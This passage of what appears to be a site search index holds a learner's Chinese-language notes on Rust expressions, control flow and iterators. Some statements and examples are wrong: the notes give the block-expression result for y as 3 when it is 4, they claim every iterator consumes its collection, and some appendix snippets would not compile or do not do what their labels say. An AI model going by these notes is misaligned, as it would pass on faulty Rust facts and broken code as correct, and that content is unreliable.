\u4ee5\u8868\u8fbe\u5f0f\uff08Expression\uff09\u7ed3\u5c3e \uff08\u5728\u8fd9\u91cc\u65ad\u53e5\uff09 \u7684\u8bed\u53e5\uff08Statement\uff09\u7ec4\u6210\u3002</p> <p>\u8bed\u53e5\u662f\u6267\u884c\u67d0\u4e9b\u64cd\u4f5c\u4e14\u6ca1\u6709\u8fd4\u56de\u503c\u7684\u6b65\u9aa4\u3002\u4f8b\u5982\uff1a <pre><code>let a = 6;//\u6ca1\u6709\u8fd4\u56de\u503c\nlet b=(let a = 6;)//\u8bed\u53e5\u4e0d\u6b63\u786e\n</code></pre> \u8868\u8fbe\u5f0f\u6709\u8ba1\u7b97\u6b65\u9aa4\u4e14\u6709\u8fd4\u56de\u503c</p> <p>\u5728Rust \u4e2d\u53ef\u4ee5\u5728\u4e00\u4e2a\u7528 <code>{}</code>\u5305\u62ec\u7684\u5757\u91cc\u7f16\u5199\u4e00\u4e2a\u8f83\u4e3a\u590d\u6742\u7684\u8868\u8fbe\u5f0f\uff1a</p> <p><pre><code>fn main() {\n    let x = 5;\n\n    let y = {\n        let x = 3;\n        x + 1//\u53ef\u4ee5\u7406\u89e3\u4e3a\u5c40\u90e8\u53d8\u91cf\n    };//\u548cy=\u8fde\u5728\u4e00\u8d77\u662f\u4e00\u6761\u8bed\u53e5\n\n    println!(\"x \u7684\u503c\u4e3a : {}\", x);\n    println!(\"y \u7684\u503c\u4e3a : {}\", y);\n}\n</code></pre> \u6700\u540ex\u7684\u503c\u4e3a5\uff0cy\u7684\u503c\u4e3a3</p> <p>\u8fd9\u6bb5\u7a0b\u5e8f\u4e2d\u5305\u62ec\u4e86\u4e00\u4e2a\u8868\u8fbe\u5f0f\u5757\uff0c\u5728\u5757\u4e2d\u53ef\u4ee5\u4f7f\u7528\u51fd\u6570\u8bed\u53e5\uff0c\u6700\u540e\u4e00\u4e2a\u6b65\u9aa4\u662f\u8868\u8fbe\u5f0f\uff0c\u6b64\u8868\u8fbe\u5f0f\u7684\u7ed3\u679c\u503c\u662f\u6574\u4e2a\u8868\u8fbe\u5f0f\u5757\u6240\u4ee3\u8868\u7684\u503c\u3002\u8fd9\u79cd\u8868\u8fbe\u5f0f\u5757\u53eb\u505a\u51fd\u6570\u4f53\u8868\u8fbe\u5f0f\u3002</p> <p>Danger</p> <p><code>x + 1</code> \u4e4b\u540e\u6ca1\u6709\u5206\u53f7\uff0c\u5426\u5219\u5b83\u5c06\u53d8\u6210\u4e00\u6761\u8bed\u53e5\uff01</p>"},{"location":"NOTE/CS/RUST/RUST/#_9","title":"\u8fd4\u56de\u503c","text":"<p>\u4e0d\u540c\u4e8eC\u8bed\u8a00\uff0cRUST\u51fd\u6570\u65e2\u53ef\u4ee5\u5d4c\u5957\u4f7f\u7528\u4e5f\u53ef\u4ee5\u5d4c\u5957\u5b9a\u4e49</p> <pre><code>   fn main() {\n    fn five() -&gt; i32 {\n        5//\u8868\u8fbe\u5f0f\uff0c\u4e0d\u80fd\u52a0\u5206\u53f7\n    }//\u7528{}\u6765\u521b\u5efa\u4e00\u4e2a\u4f5c\u7528\u57df,\u4e0d\u7528\u5206\u53f7\n    println!(\"five() \u7684\u503c\u4e3a: {}\", five());\n   }\n</code></pre> <p>\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c\u5728main\u51fd\u6570\u91cc\u9762\u5b9a\u4e49\u4e86\u4e00\u4e2a<code>five()</code>\uff0c\u8fd4\u56de\u7c7b\u578b\u4f7f\u7528<code>-&gt;</code>\u5728\u53c2\u6570\u58f0\u660e\u4e4b\u540e\u6307\u660e\uff0c\u4e0d\u662f<code>:</code>,\u5728\u51fd\u6570\u4f53\u4e2d\uff0c\u968f\u65f6\u90fd\u53ef\u4ee5\u4ee5 return \u5173\u952e\u5b57\u7ed3\u675f\u51fd\u6570\u8fd0\u884c\u5e76\u8fd4\u56de\u4e00\u4e2a\u7c7b\u578b\u5408\u9002\u7684\u503c\u3002\u8fd9\u4e5f\u662f\u6700\u63a5\u8fd1\u5927\u591a\u6570\u5f00\u53d1\u8005\u7ecf\u9a8c\u7684\u505a\u6cd5\uff1a</p> <p>Example</p> <pre><code>fn add(a: i32, b: i32) -&gt; i32 {\nreturn a + b;\n}\n</code></pre> <p>Danger</p> <p>\u6ce8\u610f\uff1a\u51fd\u6570\u4f53\u8868\u8fbe\u5f0f\u5e76\u4e0d\u80fd\u7b49\u540c\u4e8e\u51fd\u6570\u4f53\uff0c\u5b83\u4e0d\u80fd\u4f7f\u7528 return \u5173\u952e\u5b57\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_10","title":"\u6761\u4ef6\u8bed\u53e5","text":"<p>RUST\u4e2d\u7684\u6761\u4ef6\u8bed\u53e5\u4e0eC\u8bed\u8a00\u7c7b\u4f3c \u4f8b\u5982 <pre><code>let num=3\nif num&lt;5\n{\n    println!(\"less than five\")\n}\nelse if num==5{\n    println!(\"equal to five\")\n}\nelse {\n    println!(\"bigger than five\")\n}\n</code></pre> \u4f46\u662f\u6709\u51e0\u70b9\u9700\u8981\u6ce8\u610f</p> <ul> <li>\u6761\u4ef6\u8868\u8fbe\u5f0f\u4e0d\u9700\u8981\u7528<code>()</code>\u62ec\u8d77\u6765,\u6ce8\u610f\u662f\u4e0d\u9700\u8981\u800c\u4e0d\u662f\u4e0d\u5141\u8bb8</li> <li>RUST\u4e2d\u7684<code>if</code>\u8bed\u53e5\u4e0d\u5b58\u5728\u5355\u53e5\u4e0d\u7528<code>{}</code>\u7684\u89c4\u5219\uff0c\u4e00\u4e2a\u5757\u8fd8\u662f\u9700\u8981\u62ec\u8d77\u6765\u7684</li> <li>RUST\u4e2d\u7684\u6761\u4ef6\u8868\u8fbe\u5f0f\u5fc5\u987b\u662fbool\u7c7b\u578b\u7684\uff0c\u4e0d\u5141\u8bb8\u50cfC\u4e2d\u5141\u8bb8\u7684\u975e\u96f6\u5373\u53ef\u5224\u65ad\u4e3a\u771f\uff0c\u4f8b\u5982\u4e0b\u9762\u7684\u7a0b\u5e8f\u662f\u975e\u6cd5\u7684 <pre><code>  fn main() { \n  let number = 3; \n  if number {   // \u62a5\u9519\uff0cexpected `bool`, found integerrustc(E0308)\n      println!(\"Yes\");\n  } \n  }\n</code></pre></li> </ul> <p>Note</p> <p><pre><code>if &lt;condition&gt; { block 1 } else { block 2 }\n</code></pre> \u8fd9\u79cd\u7ed3\u6784\u4e0b\u7684block\u4e5f\u53ef\u4ee5\u662f\u51fd\u6570\u4f53\u8868\u8fbe\u5f0f \u7528\u6cd5\u4f8b\u5982 <pre><code>let a=true;\nlet num = if a {1} else {-1};\nprintln!(\"number \u4e3a {}\", num);\n</code></pre> \u8fd9\u6837\u5c31\u5b9e\u73b0\u4e86\u4e09\u5143\u8fd0\u7b97\u8868\u8fbe\u5f0f<code>A?B:C</code>\u7684\u6548\u679c</p>"},{"location":"NOTE/CS/RUST/RUST/#_11","title":"\u5faa\u73af","text":""},{"location":"NOTE/CS/RUST/RUST/#while","title":"while\u5faa\u73af","text":"<p>\u4f8b\u5982 <pre><code>while i&gt;0{\n    i=i-1;\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#for","title":"for\u5faa\u73af","text":"<p>\u8ddfC\u8bed\u8a00\u7684for\u5faa\u73af\u76f8\u6bd4\uff0crust\u8bed\u8a00\u7684for\u5faa\u73af\u66f4\u52a0\u7c7b\u4f3c\u4e8epython</p> <pre><code>   fn main() { \n    let a = [10, 20, 30, 40, 50]; \n    for i in a.iter() { //a.iter() \u4ee3\u8868 a \u7684\u8fed\u4ee3\u5668\uff08iterator\uff09\n        println!(\"\u503c\u4e3a : {}\", i); \n    } \n   }\n   fn main() { \n    let a = [10, 20, 30, 40, 50]; \n    for i in 0..5 { //0..5\u7684\u7528\u6cd5\u76f8\u5f53\u4e8erange(0,5)\n        println!(\"a[{}] = {}\", i, a[i]); \n    } \n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#loop","title":"loop\u5faa\u73af","text":"<p>rust\u6bd4\u8f83\u6709\u7279\u70b9\uff0c\u5f53\u6211\u4eec\u60f3\u4f7f\u7528\u65e0\u9650\u5faa\u73af\u7684\u65f6\u5019\uff0c\u4e0d\u5fc5<code>while true{}</code>\u800c\u672c\u8eab\u5c31\u5185\u7f6e\u6709<code>loop</code>\u7ed3\u6784\u65e0\u9650\u5faa\u73af</p> <p><pre><code>    fn main() { \n    let s = ['R', 'U', 'N', 'O', 'O', 'B']; \n    let mut i = 0; \n    loop { \n        let ch = s[i]; \n        if ch == 'O' { \n            break ; \n        } \n        println!(\"\\'{}\\'\", ch);\n        i += 1; \n    } \n}\n</code></pre> <code>loop</code>\u5faa\u73af\u7684<code>break</code>\u4e5f\u53ef\u4ee5\u901a\u8fc7\u643a\u5e26\u5173\u952e\u5b57\u6765\u5411\u5916\u90e8\u8fd4\u56de\u4e00\u4e2a\u503c,\u4f5c\u7528\u7c7b\u4f3c\u4e8e<code>return</code></p> <pre><code>   fn main() { \n    let s = ['R', 'U', 'N', 'O', 'O', 'B']; \n    let mut i = 0; \n    let location = loop { \n        let ch = s[i];\n        if ch == 'O' { \n            break i; \n        } \n        i += 1; \n    }; \n    println!(\" \\'O\\' \u7684\u7d22\u5f15\u4e3a {}\", location); \n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_12","title":"\u8fed\u4ee3\u5668","text":"<p>Rust \u4e2d\u7684\u8fed\u4ee3\u5668\u662f\u4e00\u79cd\u65b9\u4fbf\u3001\u9ad8\u6548\u7684\u6570\u636e\u904d\u5386\u65b9\u6cd5\uff0c\u5b83\u63d0\u4f9b\u4e86\u4e00\u79cd\u62bd\u8c61\u7684\u65b9\u5f0f\u6765\u8bbf\u95ee\u96c6\u5408\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\uff0c\u800c\u4e0d\u9700\u8981\u663e\u5f0f\u5730\u7ba1\u7406\u7d22\u5f15\u6216\u5faa\u73af\u3002</p> <p>\u8fed\u4ee3\u5668\u5141\u8bb8\u4f60\u4ee5\u4e00\u79cd\u58f0\u660e\u5f0f\u7684\u65b9\u5f0f\u6765\u904d\u5386\u5e8f\u5217\uff0c\u5982\u6570\u7ec4\u3001\u5207\u7247\u3001\u94fe\u8868\u7b49\u96c6\u5408\u7c7b\u578b\u7684\u5143\u7d20\u3002</p> <p>\u8fed\u4ee3\u5668\u80cc\u540e\u7684\u6838\u5fc3\u601d\u60f3\u662f\u5c06\u6570\u636e\u5904\u7406\u8fc7\u7a0b\u4e0e\u6570\u636e\u672c\u8eab\u5206\u79bb\uff0c\u4f7f\u4ee3\u7801\u66f4\u6e05\u6670\u3001\u66f4\u6613\u8bfb\u3001\u66f4\u6613\u7ef4\u62a4\u3002</p> <p>\u8fed\u4ee3\u5668\u9075\u5faa\u4ee5\u4e0b\u539f\u5219\uff1a</p> <ul> <li> <p>\u60f0\u6027\u6c42\u503c\uff1a\u8fed\u4ee3\u5668\u4e0d\u4f1a\u7acb\u5373\u8ba1\u7b97\u5176\u5143\u7d20\uff0c\u800c\u662f\u5728\u9700\u8981\u65f6\u624d\u8ba1\u7b97\uff0c\u8fd9\u4f7f\u5f97\u8fed\u4ee3\u5668\u53ef\u4ee5\u7528\u4e8e\u5904\u7406\u65e0\u9650\u5e8f\u5217\u3002\u4f8b\u5982\uff0c\u5f53\u8c03\u7528 <code>map()</code> \u6216 <code>filter()</code> \u65b9\u6cd5\u65f6\uff0c\u5e76\u4e0d\u4f1a\u7acb\u5373\u5bf9\u96c6\u5408\u8fdb\u884c\u8f6c\u6362\u6216\u8fc7\u6ee4\uff0c\u800c\u662f\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684\u8fed\u4ee3\u5668\uff0c\u53ea\u6709\u5f53\u771f\u6b63\u9700\u8981\u83b7\u53d6\u6570\u636e\u65f6\uff0c\u624d\u4f1a\u5bf9\u6570\u636e\u8fdb\u884c\u8f6c\u6362\u6216\u8fc7\u6ee4\u3002</p> </li> <li> <p>\u6d88\u8d39\u6027\uff1a\u5728\u8fed\u4ee3\u5668\u5b8c\u6210\u8fed\u4ee3\u540e\uff0c\u5b83\u6240\u8fed\u4ee3\u7684\u96c6\u5408\u5c06\u88ab\u6d88\u8d39\uff0c\u5373\u96c6\u5408\u7684\u6240\u6709\u6743\u88ab\u8f6c\u79fb\u7ed9\u8fed\u4ee3\u5668\uff0c\u96c6\u5408\u4e0d\u80fd\u518d\u88ab\u4f7f\u7528\u3002</p> </li> <li> <p>\u4e0d\u53ef\u53d8\u8bbf\u95ee\uff1a\u8fed\u4ee3\u5668\u9ed8\u8ba4\u4ee5\u4e0d\u53ef\u53d8\u65b9\u5f0f\u8bbf\u95ee\u5176\u5143\u7d20\uff0c\u8fd9\u610f\u5473\u7740\u5728\u8fed\u4ee3\u8fc7\u7a0b\u4e2d\u4e0d\u80fd\u4fee\u6539\u5143\u7d20\u3002</p> </li> <li> <p>\u6240\u6709\u6743\uff1a\u8fed\u4ee3\u5668\u53ef\u4ee5\u5904\u7406\u62e5\u6709\u6216\u501f\u7528\u7684\u5143\u7d20\u3002\u5f53\u8fed\u4ee3\u5668\u501f\u7528\u5143\u7d20\u65f6\uff0c\u5b83\u4e0d\u4f1a\u53d6\u5f97\u5143\u7d20\u7684\u6240\u6709\u6743\u3002\u4f8b\u5982\uff0c<code>iter()</code> \u65b9\u6cd5\u8fd4\u56de\u7684\u662f\u4e00\u4e2a\u501f\u7528\u8fed\u4ee3\u5668\uff0c\u800c <code>into_iter()</code> \u65b9\u6cd5\u8fd4\u56de\u7684\u662f\u4e00\u4e2a\u83b7\u53d6\u6240\u6709\u6743\u7684\u8fed\u4ee3\u5668\u3002</p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_13","title":"\u521b\u5efa\u8fed\u4ee3\u5668","text":"<ul> <li>\u4f7f\u7528<code>iter()</code>\u65b9\u6cd5\u521b\u5efa\u501f\u7528\u8fed\u4ee3\u5668 <pre><code>let vec = vec![1, 2, 3, 4, 5];\nlet iter = vec.iter();\n</code></pre></li> </ul> <p>\u4ee3\u7801\u89e3\u91ca</p> <p><code>let vec</code>: <code>let</code> \u5173\u952e\u5b57\u7528\u4e8e\u58f0\u660e\u53d8\u91cf\uff0c<code>vec</code> \u662f\u53d8\u91cf\u7684\u540d\u79f0\u3002\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c<code>vec</code> \u5c06\u88ab\u7ed1\u5b9a\u5230\u4e00\u4e2a <code>Vec&lt;i32&gt;</code> \u5bf9\u8c61\u4e0a\u3002</p> <p><code>vec![]</code> \u5b8f:</p> <p><code>vec![]</code> \u662f\u4e00\u4e2a\u5b8f\uff0c\u7528\u4e8e\u521b\u5efa\u4e00\u4e2a\u65b0\u7684 <code>Vec</code>\uff08\u52a8\u6001\u6570\u7ec4\uff09\u3002<code>Vec</code> \u662f Rust \u6807\u51c6\u5e93\u63d0\u4f9b\u7684\u4e00\u4e2a\u901a\u7528\u96c6\u5408\u7c7b\u578b\uff0c\u53ef\u4ee5\u5728\u8fd0\u884c\u65f6\u52a8\u6001\u589e\u957f\u3002 \u901a\u8fc7 <code>vec![]</code> \u5b8f\uff0c\u53ef\u4ee5\u76f4\u63a5\u521b\u5efa\u4e00\u4e2a\u5305\u542b\u521d\u59cb\u5143\u7d20\u7684\u5411\u91cf\u3002 <code>[1, 2, 3, 4, 5]</code>:</p> <p>\u65b9\u62ec\u53f7\u5185\u7684\u6570\u5b57 1, 2, 3, 4, 5 \u662f <code>Vec</code> \u7684\u521d\u59cb\u5143\u7d20\u3002 \u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\uff0c<code>vec!</code> \u5b8f\u521b\u5efa\u4e86\u4e00\u4e2a <code>Vec&lt;i32&gt;</code> \u7c7b\u578b\u7684\u5411\u91cf\uff0c\u5176\u4e2d\u5305\u542b\u4e86\u8fd9\u4e94\u4e2a\u6574\u6570\u3002</p> <ul> <li> <p>\u4f7f\u7528<code>iter_mut()</code> \u65b9\u6cd5\u521b\u5efa\u53ef\u53d8\u501f\u7528\u8fed\u4ee3\u5668 <pre><code>let mut vec = vec![1, 2, 3, 4, 5];\nlet iter_mut = vec.iter_mut();\n</code></pre></p> </li> <li> <p>\u4f7f\u7528 <code>into_iter()</code> \u65b9\u6cd5\u521b\u5efa\u83b7\u53d6\u6240\u6709\u6743\u7684\u8fed\u4ee3\u5668\uff1a <pre><code>let vec = vec![1, 2, 3, 4, 5];\nlet into_iter = vec.into_iter();\n</code></pre></p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_14","title":"\u8fed\u4ee3\u5668\u65b9\u6cd5","text":"<ul> <li> <p><code>map()</code>\u5bf9\u6bcf\u4e2a\u5143\u7d20\u5e94\u7528\u7279\u5b9a\u7684\u8f6c\u6362\u51fd\u6570 <pre><code>let vec = vec![1, 2, 3, 4, 5];\nlet squared_vec: Vec&lt;i32&gt; = vec.iter().map(|x| x * x).collect();\n</code></pre> \u9996\u5148\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5305\u542b\u6574\u6570\u7684\u6570\u7ec4\uff0c\u7136\u540e\u4f7f\u7528 <code>iter()</code> \u65b9\u6cd5\u83b7\u53d6\u6570\u7ec4\u7684\u8fed\u4ee3\u5668\uff0c\u63a5\u7740\u4f7f\u7528\u8fed\u4ee3\u5668\u7684 <code>map()</code> \u65b9\u6cd5\u5bf9\u6570\u7ec4\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u8fdb\u884c\u5e73\u65b9\u8fd0\u7b97\uff0c\u5e76\u4f7f\u7528 <code>collect()</code> \u65b9\u6cd5\u5c06\u7ed3\u679c\u6536\u96c6\u5230\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4 <code>squared_vec</code> \u4e2d\u3002\u6700\u540e\u8f93\u51fa\u4e86\u5e73\u65b9\u540e\u7684\u6570\u7ec4\u3002</p> </li> <li> <p><code>filter()</code>\u6839\u636e\u7279\u5b9a\u7684\u6761\u4ef6\u8fc7\u6ee4\u96c6\u5408\u4e2d\u7684\u5143\u7d20 <pre><code>let vec = vec![1, 2, 3, 4, 5];\nlet filtered_vec: Vec&lt;i32&gt; = vec.into_iter().filter(|&amp;x| x % 2 == 0).collect();\n</code></pre> \u539f\u7406\u7c7b\u4f3c</p> </li> <li> <p><code>fold()</code>\uff1a\u5bf9\u96c6\u5408\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u7d2f\u79ef\u5904\u7406\u3002</p> </li> <li><code>skip()</code>\uff1a\u8df3\u8fc7\u6307\u5b9a\u6570\u91cf\u7684\u5143\u7d20\u3002</li> <li><code>take()</code>\uff1a\u83b7\u53d6\u6307\u5b9a\u6570\u91cf\u7684\u5143\u7d20\u3002</li> <li><code>enumerate()</code>\uff1a\u4e3a\u6bcf\u4e2a\u5143\u7d20\u63d0\u4f9b\u7d22\u5f15\u3002 <p>\u611f\u89c9\u8bb0\u4e0d\u4f4f\uff0c\u53cd\u6b63\u5148\u8bb0\u7740\uff0c\u5177\u4f53\u7528\u5230\u7684\u65f6\u5019\u518d\u641c\u5c31\u884c\u4e86</p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#for_1","title":"for\u5faa\u73af\u904d\u5386\u8fed\u4ee3\u5668","text":"<p>Rust \u63d0\u4f9b\u4e86 for \u5faa\u73af\u8bed\u6cd5\u6765\u904d\u5386\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\uff0c\u662f\u4e00\u79cd\u66f4\u52a0\u7b80\u6d01\u548c\u76f4\u89c2\u7684\u904d\u5386\u65b9\u5f0f\u3002</p> <p>Rust \u7684 for \u5faa\u73af\u5e95\u5c42\u5b9e\u9645\u4e0a\u662f\u4f7f\u7528\u8fed\u4ee3\u5668\u7684\u3002</p> <pre><code>let vec = vec![1, 2, 3, 4, 5];\nfor &amp;num in vec.iter() {//&amp;\u4ee3\u8868\u501f\u7528\n    println!(\"{}\", num);\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_15","title":"\u6d88\u8d39\u8fed\u4ee3\u5668","text":"<p>\u4f7f\u7528\u8fed\u4ee3\u5668\u76f4\u5230\u5b83\u88ab\u5b8c\u5168\u6d88\u8017 <pre><code>let arr = vec![1, 2, 3];\nlet mut iter = arr.into_iter();\nwhile let Some(val) = iter.next() {\n    println!(\"{}\", val);\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_16","title":"\u9002\u914d\u5668","text":"<p>\u8fed\u4ee3\u5668\u9002\u914d\u5668\u662f\u4e00\u7cfb\u5217\u63d0\u4f9b\u7ed9\u8fed\u4ee3\u5668\u7684\u51fd\u6570\uff0c\u5b83\u4eec\u53ef\u4ee5\u4fee\u6539\u8fed\u4ee3\u5668\u7684\u884c\u4e3a\u3002\u4f8b\u5982 map, filter, take \u7b49\u3002 <pre><code>let arr = [1, 2, 3, 4, 5];\nlet even_numbers: Vec&lt;_&gt; = arr.into_iter().filter(|&amp;x| x % 2 == 0).collect();\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_17","title":"\u8fed\u4ee3\u5668\u94fe","text":"<p>\u53ef\u4ee5\u5c06\u591a\u4e2a\u8fed\u4ee3\u5668\u9002\u914d\u5668\u94fe\u63a5\u5728\u4e00\u8d77\uff0c\u5f62\u6210\u8fed\u4ee3\u5668\u94fe\u3002 <pre><code>use std::iter::Peekable;\n\nlet arr = [1, 2, 3, 4, 5];\nlet mut iter = arr.into_iter().peekable();\nwhile let Some(val) = iter.next() {\n    if val % 2 == 0 {\n        continue;\n    }\n    println!(\"{}\", val);\n}\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_18","title":"\u6536\u96c6\u5668","text":"<p>\u53ef\u4ee5\u4f7f\u7528<code>collect</code>\u65b9\u6cd5\u5c06\u8fed\u4ee3\u5668\u7684\u5143\u7d20\u6536\u96c6\u5230\u67d0\u79cd\u96c6\u5408\u4e2d</p>"},{"location":"NOTE/CS/RUST/RUST/#_19","title":"\u5176\u4ed6","text":"<p>\u8fed\u4ee3\u5668\u7684\u751f\u547d\u5468\u671f\u4e0e\u5b83\u6240\u8fed\u4ee3\u7684\u5143\u7d20\u7684\u751f\u547d\u5468\u671f\u76f8\u5173\u8054\u3002\u8fed\u4ee3\u5668\u53ef\u4ee5\u501f\u7528\u5143\u7d20\uff0c\u4e5f\u53ef\u4ee5\u53d6\u5f97\u5143\u7d20\u7684\u6240\u6709\u6743\u3002\u8fd9\u5728\u8fed\u4ee3\u5668\u7684\u5b9e\u73b0\u4e2d\u901a\u8fc7\u751f\u547d\u5468\u671f\u53c2\u6570\u6765\u63a7\u5236\u3002</p> <p>\u8fed\u4ee3\u5668\u4e0e\u95ed\u5305 \u8fed\u4ee3\u5668\u9002\u914d\u5668\u7ecf\u5e38\u4e0e\u95ed\u5305\u4e00\u8d77\u4f7f\u7528\uff0c\u95ed\u5305\u5141\u8bb8\u4f60\u4e3a\u8fed\u4ee3\u5668\u64cd\u4f5c\u63d0\u4f9b\u5b9a\u5236\u903b\u8f91\u3002</p> <p>\u8fed\u4ee3\u5668\u548c\u6027\u80fd</p> <p>\u8fed\u4ee3\u5668\u901a\u5e38\u662f\u975e\u5e38\u9ad8\u6548\u7684\uff0c\u56e0\u4e3a\u5b83\u4eec\u5141\u8bb8\u7f16\u8bd1\u5668\u505a\u51fa\u4f18\u5316\u3002\u4f8b\u5982\uff0c\u7f16\u8bd1\u5668\u53ef\u4ee5\u5185\u8054\u8fed\u4ee3\u5668\u9002\u914d\u5668\u7684\u8c03\u7528\uff0c\u5e76\u4e14\u53ef\u4ee5\u5229\u7528\u8fed\u4ee3\u5668\u7684\u60f0\u6027\u6c42\u503c\u7279\u6027\u3002\u3001</p>"},{"location":"NOTE/CS/RUST/RUST/#_20","title":"\u9644\u5f55:\u8fed\u4ee3\u5668\u65b9\u6cd5","text":"\u65b9\u6cd5\u540d \u63cf\u8ff0 \u793a\u4f8b <code>next()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7684\u4e0b\u4e00\u4e2a\u5143\u7d20\u3002 <code>let mut iter = (1..5).into_iter(); while let Some(val) = iter.next() { println!(\"{}\", val); }</code> <code>size_hint()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u5269\u4f59\u5143\u7d20\u6570\u91cf\u7684\u4e0b\u754c\u548c\u4e0a\u754c\u3002 <code>let iter = (1..10).into_iter(); println!(\"{:?}\", iter.size_hint());</code> <code>count()</code> \u8ba1\u7b97\u8fed\u4ee3\u5668\u4e2d\u5143\u7d20\u7684\u6570\u91cf\u3002 <code>let count = (1..10).into_iter().count();</code> <code>nth()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7684\u7b2c n \u4e2a\u5143\u7d20\u3002 <code>let third = (0..10).into_iter().nth(2);</code> <code>last()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7684\u6700\u540e\u4e00\u4e2a\u5143\u7d20\u3002 <code>let last = (1..5).into_iter().last();</code> <code>all()</code> \u5982\u679c\u8fed\u4ee3\u5668\u4e2d\u7684\u6240\u6709\u5143\u7d20\u90fd\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\uff0c\u8fd4\u56de <code>true</code>\u3002 <code>let all_positive = (1..5).into_iter().all(|x| x &gt; 0);</code> <code>any()</code> \u5982\u679c\u8fed\u4ee3\u5668\u4e2d\u7684\u81f3\u5c11\u4e00\u4e2a\u5143\u7d20\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\uff0c\u8fd4\u56de <code>true</code>\u3002 <code>let any_negative = (1..5).into_iter().any(|x| x &lt; 0);</code> <code>find()</code> \u8fd4\u56de\u8fed\u4ee3\u5668\u4e2d\u7b2c\u4e00\u4e2a\u6ee1\u8db3\u67d0\u6761\u4ef6\u7684\u5143\u7d20\u3002 <code>let first_even = (1..10).into_iter().find(|x| x % 2 == 0);</code> <code>find_map()</code> \u5bf9\u8fed\u4ee3\u5668\u7684\u5143\u7d20\u5e94\u7528\u4e00\u4e2a\u51fd\u6570\uff0c\u8fd4\u56de\u7b2c\u4e00\u4e2a\u8fd4\u56de <code>Some</code> \u7684\u7ed3\u679c\u3002 <code>let first_letter = \"hello\".chars().find_map(|c| if c.is_alphabetic() { Some(c) } else { None });</code> <code>map()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u5e94\u7528\u4e00\u4e2a\u51fd\u6570\u3002 <code>let squares: Vec&lt;i32&gt; = (1..5).into_iter().map(|x| x * x).collect();</code> <code>filter()</code> \u4fdd\u7559\u8fed\u4ee3\u5668\u4e2d\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\u7684\u5143\u7d20\u3002 <code>let evens: Vec&lt;i32&gt; = (1..10).into_iter().filter(|x| x % 2 == 0).collect();</code> <code>filter_map()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u5e94\u7528\u4e00\u4e2a\u51fd\u6570\uff0c\u5982\u679c\u8be5\u51fd\u6570\u8fd4\u56de <code>Some</code>\uff0c\u5219\u4fdd\u7559\u7ed3\u679c\u3002 <code>let chars: Vec&lt;char&gt; = \"hello\".chars().filter_map(|c| if c.is_alphabetic() { Some(c.to_ascii_uppercase()) } else { None }).collect();</code> <code>map_while()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u5e94\u7528\u4e00\u4e2a\u51fd\u6570\uff0c\u76f4\u5230\u51fd\u6570\u8fd4\u56de <code>None</code>\u3002 <code>let first_three = (1..).into_iter().map_while(|x| if x &lt;= 3 { Some(x) } else { None });</code> <code>take_while()</code> \u4ece\u8fed\u4ee3\u5668\u4e2d\u53d6\u51fa\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\u7684\u5143\u7d20\uff0c\u76f4\u5230\u4e0d\u6ee1\u8db3\u4e3a\u6b62\u3002 <code>let first_five = (1..10).into_iter().take_while(|x| x &lt;= 5).collect::&lt;Vec&lt;_&gt;&gt;();</code> <code>skip_while()</code> \u8df3\u8fc7\u8fed\u4ee3\u5668\u4e2d\u6ee1\u8db3\u67d0\u4e2a\u6761\u4ef6\u7684\u5143\u7d20\uff0c\u76f4\u5230\u4e0d\u6ee1\u8db3\u4e3a\u6b62\u3002 <code>let odds: Vec&lt;i32&gt; = (1..10).into_iter().skip_while(|x| x % 2 == 0).collect();</code> <code>for_each()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u6267\u884c\u67d0\u79cd\u64cd\u4f5c\u3002 <code>let mut counter = 0; (1..5).into_iter().for_each(|x| counter += x);</code> <code>fold()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u6298\u53e0\uff0c\u4f7f\u7528\u4e00\u4e2a\u7d2f\u52a0\u5668\u3002 <code>let sum: i32 = (1..5).into_iter().fold(0, |acc, x| acc + x);</code> <code>try_fold()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u6298\u53e0\uff0c\u53ef\u80fd\u5728\u9047\u5230\u9519\u8bef\u65f6\u63d0\u524d\u8fd4\u56de\u3002 <code>let result: Result&lt;i32, &amp;str&gt; = (1..5).into_iter().try_fold(0, |acc, x| if x == 3 { Err(\"Found the number 3\") } else { Ok(acc + x) });</code> <code>scan()</code> \u5bf9\u8fed\u4ee3\u5668\u4e2d\u7684\u5143\u7d20\u8fdb\u884c\u72b6\u6001\u5316\u7684\u6298\u53e0\u3002 <code>let sum: 